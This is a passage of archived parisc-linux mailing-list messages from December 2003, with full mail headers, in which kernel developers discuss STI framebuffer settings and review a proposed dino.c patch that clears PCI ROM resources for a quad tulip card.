> "... XIO: fatal IO error 232 (connection reset by peer) on X Server ":0.0" 
> after 0 requests ... with 0 events remaining."
> 
> I am not sure which graphics driver I should use ...

The default kernels have both CONFIG_FB_STI and CONFIG_FBCON_STI
enabled. That's the only driver that is supported. STI does not
support all cards. Find out which model card you have and then
search the mail archive (http://lists.parisc-linux.org)
and/or check the FAQ at www.parisc-linux.org. If you get the
penguin in the top left corner of the screen, STI FB driver
is working.

James previous comment on "match STI framebuffer settings" is a
crucial one. Hitting <Tab> key at power up will let one select
different screen resolutions and refresh rates. When parisc-linux
boots, the STI driver will print those settings as well.
Only those settings are allowed in your /etc/X11/XF86Config-4 file.

hth,
grant


From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Please unsubsricbe me
Date: Thu, 11 Dec 2003 23:53:02 -0700
Lines: 6
Approved: news@gmane.org
Message-ID: <20031212065302.GC16243@colo.lackof.org>
References: <20031211185217.19572.qmail@web60306.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623045 3289 80.91.229.3 (22 Nov 2014 02:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Hunter <ch234_120@yahoo.com>
Original-X-From: grundler@lackof.org  Thu Dec 11 23:53:03 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 899624854
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 11 Dec 2003 23:53:03 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 11CEF29804E; Thu, 11 Dec 2003 23:53:03 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16254-05; Thu, 11 Dec 2003 23:53:02 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7B86929804D; Thu, 11 Dec 2003 23:53:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031211185217.19572.qmail@web60306.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 06:53:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20366

On Thu, Dec 11, 2003 at 10:52:17AM -0800, Chris Hunter wrote:

please see http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

grant


From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Fri, 12 Dec 2003 00:48:38 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20031212074838.GA16885@colo.lackof.org>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623045 3290 80.91.229.3 (22 Nov 2014 02:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:05 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: grundler@lackof.org  Fri Dec 12 00:48:40 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 056A44854
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 00:48:40 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6730629804E; Fri, 12 Dec 2003 00:48:39 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16705-08; Fri, 12 Dec 2003 00:48:38 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AEF4829804D; Fri, 12 Dec 2003 00:48:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1071093265.1730.27.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 07:48:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20367

On Wed, Dec 10, 2003 at 04:54:24PM -0500, James Bottomley wrote:
> +/* The alignment contraints for PCI bridges under dino */
> +#define DINO_BRIDGE_ALIGN 0x100000

hrmm...I was expecting this to be defined in include/linux/pci.h
but it's not. "pbus_size_mem()" seems to take care of this
in the drivers/pci generic code.

> +		/* null out the ROM resource if there is one (we don't
> +		 * care about an expansion rom on parisc, since it
> +		 * usually contains (x86) bios code) */
> +		dev->resource[PCI_ROM_RESOURCE].flags = 0;
> +		dev->resource[PCI_ROM_RESOURCE].start = 0;
> +		dev->resource[PCI_ROM_RESOURCE].end = 0;

I just realized some drivers may need to access data (not code)
in the ROM. I'm not aware of any but I don't want to under
estimate how creative people can get. Just something to beware
when bringing up new cards.

The rest looked fine to me. I don't maintain any dino-based
machines any more and thus can't test it.

thanks,
grant


From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Fri, 12 Dec 2003 12:30:25 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20031212113025.GA4814@solo.franken.de>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623045 3293 80.91.229.3 (22 Nov 2014 02:24:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:05 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: tsbogend@alpha.franken.de  Fri Dec 12 04:33:34 2003
Return-Path: <tsbogend@alpha.franken.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8829A4854
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 04:33:34 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AUlY4-00034V-00; Fri, 12 Dec 2003 12:33:32 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 4209427C85; Fri, 12 Dec 2003 12:30:25 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20031212074838.GA16885@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 11:33:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20368

On Fri, Dec 12, 2003 at 12:48:38AM -0700, Grant Grundler wrote:
> On Wed, Dec 10, 2003 at 04:54:24PM -0500, James Bottomley wrote:
> > +/* The alignment contraints for PCI bridges under dino */
> > +#define DINO_BRIDGE_ALIGN 0x100000
> 
> hrmm...I was expecting this to be defined in include/linux/pci.h
> but it's not. "pbus_size_mem()" seems to take care of this
> in the drivers/pci generic code.
> 
> > +		/* null out the ROM resource if there is one (we don't
> > +		 * care about an expansion rom on parisc, since it
> > +		 * usually contains (x86) bios code) */
> > +		dev->resource[PCI_ROM_RESOURCE].flags = 0;
> > +		dev->resource[PCI_ROM_RESOURCE].start = 0;
> > +		dev->resource[PCI_ROM_RESOURCE].end = 0;
> 
> I just realized some drivers may need to access data (not code)
> in the ROM. I'm not aware of any but I don't want to under
> estimate how creative people can get. Just something to beware
> when bringing up new cards.

doesn't this also break PCI Vis-EG and FX cards setup ? On these
cards the ROM contains PARISC firmware, which we need.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: 12 Dec 2003 09:58:48 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1071241131.1814.5.camel@mulgrave>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave> 
	<20031212074838.GA16885@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623046 3296 80.91.229.3 (22 Nov 2014 02:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:06 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Fri Dec 12 07:59:11 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D6C64854
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 07:59:11 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBCEx9a01807; Fri, 12 Dec 2003 09:59:09 -0500
In-Reply-To: <20031212074838.GA16885@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 14:59:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20369

On Fri, 2003-12-12 at 02:48, Grant Grundler wrote:
> I just realized some drivers may need to access data (not code)
> in the ROM. I'm not aware of any but I don't want to under
> estimate how creative people can get. Just something to beware
> when bringing up new cards.

Hmm, well, we can back it out if people start hitting problems.

The reason for it is the Quad tulip card:  The bridge chip only requests
a 1MB PCI window, but each chip has two memory BARs: the iomem region
(128bytes, with page alignment) and the ROM (256Kb).  The bridge
allocation routines seem to work the BARs in reverse, so by the time the
ROM BARs are allocated, the memory window is full and none of the
devices can function.

I suppose I could look at a two phase approach: count all the resources
and sizes and then resize the bridge window appropriately...we actually
already need to do this for the GSC window on my C360...firmware
allocates too much space in the GSC/8 window and I run out of iomem
space for devices on the GSC/10.

James




From - Thu Nov 08 21:30:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: 12 Dec 2003 10:00:29 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <1071241233.1814.9.camel@mulgrave>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org> 
	<20031212113025.GA4814@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623046 3301 80.91.229.3 (22 Nov 2014 02:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:06 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: James.Bottomley@SteelEye.com  Fri Dec 12 08:00:55 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA2E74854
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 08:00:54 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBCF0ma01844; Fri, 12 Dec 2003 10:00:51 -0500
In-Reply-To: <20031212113025.GA4814@solo.franken.de>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 15:00:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20370

On Fri, 2003-12-12 at 06:30, Thomas Bogendoerfer wrote:
> doesn't this also break PCI Vis-EG and FX cards setup ? On these
> cards the ROM contains PARISC firmware, which we need.

Only if we physically need acess to the ROMs from the linux driver after
the firmware is used...this is rarely true, even on x86.  I'm afraid I
only have GSC Vis-EG cards, so I can't test this though.

James




From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Fri, 12 Dec 2003 16:38:58 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20031212153858.GA5892@solo.franken.de>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<20031212113025.GA4814@solo.franken.de>
	<1071241233.1814.9.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623046 3306 80.91.229.3 (22 Nov 2014 02:24:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:06 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: tsbogend@alpha.franken.de  Fri Dec 12 08:46:38 2003
Return-Path: <tsbogend@alpha.franken.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id EAF364854
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 08:46:37 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AUpUz-0002vi-00; Fri, 12 Dec 2003 16:46:37 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id DA61B27C85; Fri, 12 Dec 2003 16:38:58 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <1071241233.1814.9.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 15:46:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20371

On Fri, Dec 12, 2003 at 10:00:29AM -0500, James Bottomley wrote:
> On Fri, 2003-12-12 at 06:30, Thomas Bogendoerfer wrote:
> > doesn't this also break PCI Vis-EG and FX cards setup ? On these
> > cards the ROM contains PARISC firmware, which we need.
> 
> Only if we physically need acess to the ROMs from the linux driver after
> the firmware is used...this is rarely true, even on x86.  I'm afraid I
> only have GSC Vis-EG cards, so I can't test this though.

sticon/stifb map the PCI ROM to copy out routines and fonts during
startup of the drivers.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Fri, 12 Dec 2003 19:28:18 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<1071241131.1814.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623047 3308 80.91.229.3 (22 Nov 2014 02:24:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:07 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri Dec 12 12:32:29 2003
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (unknown [81.2.110.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8F2A484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 12:32:28 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	hBCJSPPr021685; Fri, 12 Dec 2003 19:28:27 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	hBCJSMls021683; Fri, 12 Dec 2003 19:28:22 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <1071241131.1814.5.camel@mulgrave>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Dec 2003 19:32:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20372

On Gwe, 2003-12-12 at 14:58, James Bottomley wrote:
> The reason for it is the Quad tulip card:  The bridge chip only requests
> a 1MB PCI window, but each chip has two memory BARs: the iomem region
> (128bytes, with page alignment) and the ROM (256Kb).  The bridge
> allocation routines seem to work the BARs in reverse, so by the time the
> ROM BARs are allocated, the memory window is full and none of the
> devices can function.

You don't need the ROM mapped expect for reading stuff like MAC, and you
can do that by mapping each port over the same address range.



From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Fri, 12 Dec 2003 20:51:25 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20031213035125.GB28775@colo.lackof.org>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<1071241131.1814.5.camel@mulgrave>
	<1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623047 3310 80.91.229.3 (22 Nov 2014 02:24:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@lackof.org  Fri Dec 12 20:51:26 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F866484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 20:51:26 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C9A24298037; Fri, 12 Dec 2003 20:51:25 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29217-02; Fri, 12 Dec 2003 20:51:25 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3952429802E; Fri, 12 Dec 2003 20:51:25 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 03:51:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20373

On Fri, Dec 12, 2003 at 07:28:18PM +0000, Alan Cox wrote:
> You don't need the ROM mapped expect for reading stuff like MAC, and you
> can do that by mapping each port over the same address range.

interesting trick.
That should work nicely for the 4-port tulip especially.

Can we allocate/map only the first tulip's ROM and point the remaining
tulip's ROM_RESOURCE at the first one?

I'm worried multiple PCI devices could attempt to respond to
the MMIO transaction and fight over the bus.

PCI Hotplug makes my suggestion at bad idea to generalize
for other arches.

thanks,
grant


From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Fri, 12 Dec 2003 20:53:44 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20031213035344.GC28775@colo.lackof.org>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<1071241131.1814.5.camel@mulgrave>
	<1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623047 3314 80.91.229.3 (22 Nov 2014 02:24:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
